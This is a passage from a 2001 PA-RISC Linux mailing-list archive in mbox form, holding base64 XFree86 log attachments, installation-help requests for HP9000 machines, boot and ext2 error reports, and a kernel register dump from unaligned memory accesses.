]



**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************

--0__=C1256A80004A71F28f9e8a93df938690918cC1256A80004A71F2
Content-type: application/octet-stream; 
	name="=?iso-8859-1?Q?XFree86.0.log?="
Content-Disposition: attachment; filename="=?iso-8859-1?Q?XFree86.0.log?="
Content-transfer-encoding: base64

ClhGcmVlODYgVmVyc2lvbiA0LjAuMyAvIFggV2luZG93IFN5c3RlbQoocHJvdG9jb2wgVmVyc2lv
biAxMSwgcmV2aXNpb24gMCwgdmVuZG9yIHJlbGVhc2UgNjQwMCkKUmVsZWFzZSBEYXRlOiAxNiBN
YXJjaCAyMDAxCglJZiB0aGUgc2VydmVyIGlzIG9sZGVyIHRoYW4gNi0xMiBtb250aHMsIG9yIGlm
IHlvdXIgY2FyZCBpcwoJbmV3ZXIgdGhhbiB0aGUgYWJvdmUgZGF0ZSwgbG9vayBmb3IgYSBuZXdl
ciB2ZXJzaW9uIGJlZm9yZQoJcmVwb3J0aW5nIHByb2JsZW1zLiAgKFNlZSBodHRwOi8vd3d3LlhG
cmVlODYuT3JnL0ZBUSkKT3BlcmF0aW5nIFN5c3RlbTogTGludXggMi40LjAtcGExMCBwYXJpc2M2
NCBbRUxGXSAKKD09KSBMb2cgZmlsZTogIi92YXIvbG9nL1hGcmVlODYuMC5sb2ciLCBUaW1lOiBU
aHUgSnVsICA1IDExOjU0OjM3IDIwMDEKKD09KSBVc2luZyBjb25maWcgZmlsZTogIi9ldGMvWDEx
L1hGODZDb25maWciCk1hcmtlcnM6ICgtLSkgcHJvYmVkLCAoKiopIGZyb20gY29uZmlnIGZpbGUs
ICg9PSkgZGVmYXVsdCBzZXR0aW5nLAogICAgICAgICAoKyspIGZyb20gY29tbWFuZCBsaW5lLCAo
ISEpIG5vdGljZSwgKElJKSBpbmZvcm1hdGlvbmFsLAogICAgICAgICAoV1cpIHdhcm5pbmcsIChF
RSkgZXJyb3IsICg/PykgdW5rbm93bi4KKD09KSBTZXJ2ZXJMYXlvdXQgIlNpbXBsZSBMYXlvdXQi
CigqKikgfC0tPlNjcmVlbiAiU2NyZWVuIDEiICgwKQooKiopIHwgICB8LS0+TW9uaXRvciAibGNk
IgooKiopIHwgICB8LS0+RGV2aWNlICJmYmRldiIKKCoqKSB8LS0+SW5wdXQgRGV2aWNlICJNb3Vz
ZTEiCigqKikgfC0tPklucHV0IERldmljZSAiS2V5Ym9hcmQxIgooKiopIE9wdGlvbiAiQXV0b1Jl
cGVhdCIgIjUwMCAzMCIKKCoqKSBPcHRpb24gIlhrYlJ1bGVzIiAieGZyZWU4NiIKKCoqKSBYS0I6
IHJ1bGVzOiAieGZyZWU4NiIKKCoqKSBPcHRpb24gIlhrYk1vZGVsIiAicGMxMDEiCigqKikgWEtC
OiBtb2RlbDogInBjMTAxIgooKiopIE9wdGlvbiAiWGtiTGF5b3V0IiAidXMiCigqKikgWEtCOiBs
YXlvdXQ6ICJ1cyIKKCoqKSBGb250UGF0aCBzZXQgdG8gIi91c3IvWDExUjYvbGliL1gxMS9mb250
cy9taXNjLywvdXNyL1gxMVI2L2xpYi9YMTEvZm9udHMvNzVkcGkvOnVuc2NhbGVkLC91c3IvWDEx
UjYvbGliL1gxMS9mb250cy8xMDBkcGkvOnVuc2NhbGVkLC91c3IvWDExUjYvbGliL1gxMS9mb250
cy9UeXBlMS8sL3Vzci9YMTFSNi9saWIvWDExL2ZvbnRzL1NwZWVkby8sL3Vzci9YMTFSNi9saWIv
WDExL2ZvbnRzLzc1ZHBpLywvdXNyL1gxMVI2L2xpYi9YMTEvZm9udHMvMTAwZHBpLyIKKCoqKSBS
Z2JQYXRoIHNldCB0byAiL3Vzci9YMTFSNi9saWIvWDExL3JnYiIKKC0tKSB1c2luZyBWVCBudW1i
ZXIgNwoKKFdXKSBDYW5ub3Qgb3BlbiBBUE0KKEVFKSBObyBPUyBQQ0kgc3VwcG9ydCBhdmFpbGFi
bGUKKElJKSBBZGRyZXNzYWJsZSBidXMgcmVzb3VyY2UgcmFuZ2VzIGFyZQoJWzBdIC0xCTB4MDAw
MDAwMDAgLSAweGZmZmZmZmZmICgweDApIE1YW0JdCglbMV0gLTEJMHgwMDAwMDAwMCAtIDB4MDAw
MGZmZmYgKDB4MTAwMDApIElYW0JdCihJSSkgT1MtcmVwb3J0ZWQgcmVzb3VyY2UgcmFuZ2VzOgoo
SUkpIE9TLXJlcG9ydGVkIHJlc291cmNlIHJhbmdlcyBhZnRlciByZW1vdmluZyBvdmVybGFwcyB3
aXRoIFBDSToKKElJKSBBbGwgc3lzdGVtIHJlc291cmNlIHJhbmdlczoKKElJKSBNR0E6IGRyaXZl
ciBmb3IgTWF0cm94IGNoaXBzZXRzOiBtZ2EyMDY0dywgbWdhMTA2NHNnLCBtZ2EyMTY0dywKCW1n
YTIxNjR3IEFHUCwgbWdhZzEwMCwgbWdhZzEwMCBQQ0ksIG1nYWcyMDAsIG1nYWcyMDAgUENJLCBt
Z2FnNDAwCihJSSkgR0xJTlQ6IGRyaXZlciBmb3IgM0RsYWJzIGNoaXBzZXRzOiBnYW1tYSwgdGlf
cG0yLCB0aV9wbSwgcG0zLCBwbTJ2LAoJcG0yLCBwbSwgMzAwc3gsIDUwMHR4LCBteAoJUzNWSWRl
bnRpZnkKKElJKSBTM1ZJUkdFOiBkcml2ZXIgKHZlcnNpb24gMS42LjApIGZvciBTMyBWaVJHRSBj
aGlwc2V0czogdmlyZ2UsIDg2QzMyNSwKCXZpcmdlIHZ4LCA4NkM5ODgsIHZpcmdlIGR4LCB2aXJn
ZSBneCwgODZDMzc1LCA4NkMzODUsIHZpcmdlIGd4MiwKCTg2QzM1NywgdmlyZ2UgbXgsIDg2QzI2
MCwgdmlyZ2UgbXgrLCA4NkMyODAsIHRyaW8gM2QsIDg2QzM2NSwKCXRyaW8gM2QvMngsIDg2QzM2
MiwgODZDMzY4CihJSSkgU0lTOiBkcml2ZXIgZm9yIFNpUyBjaGlwc2V0czogU0lTNTU5NywgU0lT
NTU5OCwgU0lTNTMwLCBTSVM2MzI2LAoJU0lTMzAwLCBTSVM2MzAsIFNJUzU0MAooSUkpIFNBVkFH
RTogZHJpdmVyICh2ZXJzaW9uIDEuMS4wIGZvciBTMyBTYXZhZ2UgY2hpcHNldHM6IFNhdmFnZTQs
CglTYXZhZ2UzRCwgU2F2YWdlM0QtTVYsIFNhdmFnZTIwMDAsIFNhdmFnZS9NWC1NViwgU2F2YWdl
L01YLAoJU2F2YWdlL0lYLU1WLCBTYXZhZ2UvSVgsIFByb1NhdmFnZSBQTTEzMywgUHJvU2F2YWdl
IEtNMTMzCihJSSkgVFJJREVOVDogZHJpdmVyIGZvciBUcmlkZW50IGNoaXBzZXRzOiB0dmdhODkw
MGQsIGN5YmVyOTMyMCwgY3liZXI5Mzg4LAoJY3liZXI5Mzk3LCBjeWJlcjkzOTdkdmQsIGN5YmVy
OTUyMCwgY3liZXI5NTI1ZHZkLCBjeWJlcmJsYWRlL2U0LAoJdGd1aTk0MjBkZ2ksIHRndWk5NDQw
YWdpLCB0Z3VpOTY2MCwgdGd1aTk2ODAsIHByb3ZpZGlhOTY4MiwKCXByb3ZpZGlhOTY4NSwgY3li
ZXI5MzgyLCBjeWJlcjkzODUsIDNkaW1hZ2U5NzUsIDNkaW1hZ2U5ODUsIGJsYWRlM2QsCgljeWJl
cmJsYWRlaTcsIGN5YmVyYmxhZGVpN2QsIGN5YmVyYmxhZGVpMSwgY3liZXJibGFkZWkxZCwKCWN5
YmVyYmxhZGVBaTEsIGN5YmVyYmxhZGVBaTFkCihJSSkgQ0hJUFM6IERyaXZlciBmb3IgQ2hpcHMg
YW5kIFRlY2hub2xvZ2llcyBjaGlwc2V0czogY3Q2NTUyMCwgY3Q2NTUyNSwKCWN0NjU1MzAsIGN0
NjU1MzUsIGN0NjU1NDAsIGN0NjU1NDUsIGN0NjU1NDYsIGN0NjU1NDgsIGN0NjU1NTAsCgljdDY1
NTU0LCBjdDY1NTU1LCBjdDY4NTU0LCBjdDY5MDAwLCBjdDY5MDMwLCBjdDY0MjAwLCBjdDY0MzAw
CihJSSkgRkJEZXY6IGRyaXZlciBmb3IgZnJhbWVidWZmZXI6IGZiZGV2LCBhZmIKKElJKSBBVEk6
IEFUSSBkcml2ZXIgKHZlcnNpb24gNi4yLjMpIGZvciBjaGlwc2V0czogYXRpCihJSSkgUjEyODog
RHJpdmVyIGZvciBBVEkgUmFnZSAxMjggY2hpcHNldHM6IEFUSSBSYWdlIDEyOCBSRSAoUENJKSwK
CUFUSSBSYWdlIDEyOCBSRiAoQUdQKSwgQVRJIFJhZ2UgMTI4IFJHIChBR1ApLCBBVEkgUmFnZSAx
MjggUksgKFBDSSksCglBVEkgUmFnZSAxMjggUkwgKEFHUCksIEFUSSBSYWdlIDEyOCBQcm8gUEQg
KEFHUCksCglBVEkgUmFnZSAxMjggUHJvIFBGIChBR1ApLCBBVEkgUmFnZSAxMjggTW9iaWxpdHkg
TEUgKFBDSSksCglBVEkgUmFnZSAxMjggTW9iaWxpdHkgTEYgKEFHUCksIEFUSSBSYWdlIDEyOCBN
b2JpbGl0eSBNRiAoQUdQKSwKCUFUSSBSYWdlIDEyOCBNb2JpbGl0eSBNTCAoQUdQKQooSUkpIFJB
REVPTjogRHJpdmVyIGZvciBBVEkgUmFkZW9uIGNoaXBzZXRzOiBBVEkgUmFkZW9uIFFEIChBR1Ap
LAoJQVRJIFJhZGVvbiBRRSAoQUdQKSwgQVRJIFJhZGVvbiBRRiAoQUdQKSwgQVRJIFJhZGVvbiBR
RyAoQUdQKQooSUkpIFZHQTogR2VuZXJpYyBWR0EgZHJpdmVyICh2ZXJzaW9uIDQuMCkgZm9yIGNo
aXBzZXRzOiBnZW5lcmljCihJSSkgdjRsIGRyaXZlciBmb3IgVmlkZW80TGludXgKCVMzVlByb2Jl
IGJlZ2luCihJSSkgRkJEZXYoMCk6IHVzaW5nIGRlZmF1bHQgZGV2aWNlCihJSSkgUnVubmluZyBp
biBGUkFNRUJVRkZFUiBNb2RlCigqKikgRkJEZXYoMCk6IERlcHRoIDgsICgtLSkgZnJhbWVidWZm
ZXIgYnBwIDgKKD09KSBGQkRldigwKTogRGVmYXVsdCB2aXN1YWwgaXMgUHNldWRvQ29sb3IKKD09
KSBGQkRldigwKTogVXNpbmcgZ2FtbWEgY29ycmVjdGlvbiAoMS4wLCAxLjAsIDEuMCkKKElJKSBG
QkRldigwKTogSGFyZHdhcmU6IHN0aWZiICh2aWRtZW06IDIwNDhrKQooPT0pIEZCRGV2KDApOiBP
cHRpb24gU2hhZG93RkIgaXMgb24KKElJKSBGQkRldigwKTogQ2hlY2tpbmcgTW9kZXMgYWdhaW5z
dCBmcmFtZWJ1ZmZlciBkZXZpY2UuLi4KKElJKSBGQkRldigwKTogCW1vZGUgIjY0MHg0ODAiIG9r
CihJSSkgRkJEZXYoMCk6IENoZWNraW5nIE1vZGVzIGFnYWluc3QgbW9uaXRvci4uLgooLS0pIEZC
RGV2KDApOiBWaXJ0dWFsIHNpemUgaXMgNjQweDQ4MCAocGl0Y2ggNjQwKQooKiopIEZCRGV2KDAp
OiBEZWZhdWx0IG1vZGUgIjY0MHg0ODAiOiAyNS4yIE1IeiAoc2NhbGVkIGZyb20gMC4wIE1Ieiks
IDMxLjUga0h6LCA2MC4wIEh6CigrKykgRkJEZXYoMCk6IERQSSBzZXQgdG8gKDEwMCwgMTAwKQoo
PT0pIEZCRGV2KDApOiBCYWNraW5nIHN0b3JlIGRpc2FibGVkClBFWEV4dGVuc2lvbkluaXQ6IENv
dWxkbid0IG9wZW4gZGVmYXVsdCBQRVggZm9udCBmaWxlICBSb21hbl9NCigqKikgT3B0aW9uICJQ
cm90b2NvbCIgIlBTLzIiCigqKikgTW91c2UxOiBQcm90b2NvbDogIlBTLzIiCigqKikgT3B0aW9u
ICJDb3JlUG9pbnRlciIKKCoqKSBNb3VzZTE6IENvcmUgUG9pbnRlcgooKiopIE9wdGlvbiAiRGV2
aWNlIiAiL2Rldi9tb3VzZSIKKD09KSBNb3VzZTE6IEJ1dHRvbnM6IDMKKElJKSBLZXlib2FyZCAi
S2V5Ym9hcmQxIiBoYW5kbGVkIGJ5IGxlZ2FjeSBkcml2ZXIKKElJKSBYSU5QVVQ6IEFkZGluZyBl
eHRlbmRlZCBpbnB1dCBkZXZpY2UgIk1vdXNlMSIgKHR5cGU6IE1PVVNFKQo=

--0__=C1256A80004A71F28f9e8a93df938690918cC1256A80004A71F2
Content-type: application/octet-stream; 
	name="=?iso-8859-1?Q?XFree86-configure?="
Content-Disposition: attachment; filename="=?iso-8859-1?Q?XFree86-configure?="
Content-transfer-encoding: base64

ClhGcmVlODYgVmVyc2lvbiA0LjAuMyAvIFggV2luZG93IFN5c3RlbQoocHJvdG9jb2wgVmVyc2lv
biAxMSwgcmV2aXNpb24gMCwgdmVuZG9yIHJlbGVhc2UgNjQwMCkKUmVsZWFzZSBEYXRlOiAxNiBN
YXJjaCAyMDAxCglJZiB0aGUgc2VydmVyIGlzIG9sZGVyIHRoYW4gNi0xMiBtb250aHMsIG9yIGlm
IHlvdXIgY2FyZCBpcwoJbmV3ZXIgdGhhbiB0aGUgYWJvdmUgZGF0ZSwgbG9vayBmb3IgYSBuZXdl
ciB2ZXJzaW9uIGJlZm9yZQoJcmVwb3J0aW5nIHByb2JsZW1zLiAgKFNlZSBodHRwOi8vd3d3LlhG
cmVlODYuT3JnL0ZBUSkKT3BlcmF0aW5nIFN5c3RlbTogTGludXggMi40LjAtcGExMCBwYXJpc2M2
NCBbRUxGXSAKKD09KSBMb2cgZmlsZTogIi92YXIvbG9nL1hGcmVlODYuMC5sb2ciLCBUaW1lOiBU
aHUgSnVsICA1IDExOjUxOjQwIDIwMDEKKC0tKSB1c2luZyBWVCBudW1iZXIgNwoKKEVFKSBObyBP
UyBQQ0kgc3VwcG9ydCBhdmFpbGFibGUKTGlzdCBvZiB2aWRlbyBkcml2ZXJzOgoJbWdhCglnbGlu
dAoJczN2aXJnZQoJc2lzCglzYXZhZ2UKCXRyaWRlbnQKCWNoaXBzCglmYmRldgoJYXRpCgl2Z2EK
CXY0bAooSUkpIHY0bCBkcml2ZXIgZm9yIFZpZGVvNExpbnV4Ck5vIGRldmljZXMgdG8gY29uZmln
dXJlLiAgQ29uZmlndXJhdGlvbiBmYWlsZWQuCg==

--0__=C1256A80004A71F28f9e8a93df938690918cC1256A80004A71F2--





From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Maicon Wendhausen" <maicon@battistella.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PaLinux With HP9000/G30 and HP9000/F10
Date: Thu, 5 Jul 2001 11:01:07 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <BEEEILCNADHOGJOKOBIOAEEBCCAA.maicon@battistella.com.br>
References: <OFF94FEB89.7C57D76A-ONC1256A80.004A71F2@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620265 21717 80.91.229.3 (22 Nov 2014 01:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 08:02:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.battistella.com.br (unknown [200.195.196.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7DF7482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 08:01:58 -0600 (MDT)
Original-Received: from pcmac (zealot [200.195.196.6])
	by mail.battistella.com.br (8.9.3/8.9.3) with SMTP id LAA12178
	for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Jul 2001 11:04:11 -0300
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <OFF94FEB89.7C57D76A-ONC1256A80.004A71F2@LocalDomain>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:11502

Hello All!

I have a HP9000/G30 with 128 Mb RAM and 4 HDs 4.3Gb. and the HP9000/F10
with 64Mb Ram and 1 HD 4.3 Gb.

I have problems on boot with CD, anyone have more information or URLs of
sites with more information about for these machines?

The G30 is running HP-UX 10.20 and F10 running HP-UX 9.x I dont want do
upgrade with this System Operation. I want install Linux in this Machine.

Very Thanks

[]'s Maicon Wendhausen
maicon@battistella.com.br
Network and Server Administration
Apaba S.A - Holding do Conglomerado Battistella
www.battistella.com.br






From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] very confused
Date: Thu, 5 Jul 2001 11:04:18 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <003d01c10563$c3d1c3d0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_003A_01C10542.3C9E6B00"
X-Trace: ger.gmane.org 1416620265 21721 80.91.229.3 (22 Nov 2014 01:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 09:02:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA8C5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 09:02:02 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id L992VV55; Thu, 5 Jul 2001 11:02:01 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11503

This is a multi-part message in MIME format.

------=_NextPart_000_003A_01C10542.3C9E6B00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am trying to install pa-linux on a 735. I have a scsi CDROM and a =
ethernet connection to i386 running linux. I am getting very confused as =
to which is the best method of installing. Whether CD based or =
bootp/rboot based. Any help figuring this out would be greatly =
appreciated.=20

------=_NextPart_000_003A_01C10542.3C9E6B00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I am trying to install pa-linux on a =
735. I have a=20
scsi CDROM and a ethernet connection to i386 running linux. I am getting =
very=20
confused as to which is the best method of installing. Whether CD based =
or=20
bootp/rboot based. Any help figuring this out would be greatly =
appreciated.=20
</FONT></DIV></BODY></HTML>

------=_NextPart_000_003A_01C10542.3C9E6B00--





From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem in palinux-0.9.1 image with directory 
 "debian" !!
Date: Thu, 05 Jul 2001 11:44:00 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <3B448B40.E94BCCE8@neuronet.pitt.edu>
References: <20010705131056.EF90CD15A6@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620266 21722 80.91.229.3 (22 Nov 2014 01:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 09:44:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 906E3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 09:44:12 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (client-151-201-23-51.pittpa.adsl.bellatlantic.net [151.201.23.51])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id PAA23966589;
	Thu, 5 Jul 2001 15:44:01 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-4GB i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11504

The is something wrong with the new iso. I get:

Trying scsi.2.0
Boot path initialized.
Attempting to load IPL.

IPL error: bad LIF magic.

I verified the md5sum value from that of the website
(473c029b513472cccab1a4d6e2156619) and burnt the CD a 2x speed. The
image I got last night booted normally. This a 715/75 machine.

-- 
     Rafael




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.1 installation failed with and ext2-fs error
Date: Thu, 05 Jul 2001 12:28:44 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <3B4495BC.C3E7A04D@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620266 21725 80.91.229.3 (22 Nov 2014 01:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 10:28:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id F4212482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 10:28:46 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (client-151-201-23-51.pittpa.adsl.bellatlantic.net [151.201.23.51])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id QAA24343456
	for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Jul 2001 16:28:45 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-4GB i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11505

While installing the latest 0.9.1 on a 715/75 machine over a serial
line, the installation halted with this error message:

 Extracting
 /var/cache/apt/archives/tar_1.13.19-1_hppa.deb...          EXT2-fs
error (device sd(8,3)): ext2_write_inode: unable t9

it looks truncated. I can't provide more error messages. Are there other
virtual consoles under the installed? if so, how do you switch to them?
I'm using minicom on an X terminal.

-- 
     Rafael




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Torsten Neumann <torsten@imke.infodrom.ffis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: unaligned memory accesses
Date: Thu, 5 Jul 2001 20:15:20 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20010705201520.A3618@imke.infodrom.ffis.de>
References: <20010704155108.H31475@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620266 21728 80.91.229.3 (22 Nov 2014 01:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 12:16:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kuolema.infodrom.north.de (kuolema.infodrom.north.de [217.89.86.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FDB1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 12:16:28 -0600 (MDT)
Original-Received: from finlandia.infodrom.north.de (finlandia.Infodrom.North.DE [217.89.86.34])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id 380174D73A; Thu,  5 Jul 2001 20:16:22 +0200 (CEST)
Original-Received: by finlandia.infodrom.north.de (Postfix, from userid 10)
	id B738E11683; Thu,  5 Jul 2001 20:16:07 +0200 (CEST)
Original-Received: by imke.infodrom.ffis.de (Linux Smail3.2 #1)
	id m15IDeq-0005S8C; Thu, 5 Jul 2001 20:15:20 +0200 (CEST)
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <20010704155108.H31475@tausq.org>
Original-Sender: torsten@imke.infodrom.north.de
Xref: news.gmane.org gmane.linux.ports.parisc:11506

On Wed, Jul 04, 2001 at 03:51:08PM -0700, Randolph Chung wrote:
> Torsten and Peter,
> 
> I've checked in some changes to parisc kernel cvs that should address 
> the crashes you've seen. Please try picking up latest kernel files from 
> cvs and let us know if they fix the errors you've seen.

Tried latest kernel from cvs ( 2.4.0-pa51 ) and still got the same result,

pvcreate(204): unaligned access to 0x40067cf3 at ip=0x400310db
pvcreate(204): unaligned access to 0x40067cf7 at ip=0x400310e3

do_page_fault() pid=204 command='pvcreate' type=6 address=0x00400387
vm_start = 0x00024000, vm_end = 0x00025000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011101111111100001111
r0-3	 00000000 40067b38 4003cf23 faf00009
r4-7	 00000004 40068338 00000000 00000000
r8-11	 00000000 00000000 00000000 00000000
r12-15	 00000000 00000000 00023284 00023284
r16-19	 00023284 faf00688 ffffffff 70400683
r20-23	 00000000 00400386 40067120 ffffffff
r24-27	 faf0081c 00000010 00000004 00023284
r28-31	 00000010 00000008 faf00800 4003cf33
sr0-3	 0000021a 0000021a 00000000 0000021a
sr4-7	 0000021a 0000021a 0000021a 0000021a

IASQ: 0000021a 0000021a IAOQ: 00400387 0040038b
 IIR: 0f201090    ISR: 0000021a  IOR: 40067cf7
 ORIG_R28: 00000000

  Torsten




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: unaligned memory accesses
Date: Thu, 5 Jul 2001 12:04:35 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20010705120435.B30014@tausq.org>
References: <20010704155108.H31475@tausq.org> <20010705201520.A3618@imke.infodrom.ffis.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620267 21730 80.91.229.3 (22 Nov 2014 01:37:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Torsten Neumann <torsten@imke.infodrom.ffis.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 13:05:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BC26482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 13:05:24 -0600 (MDT)
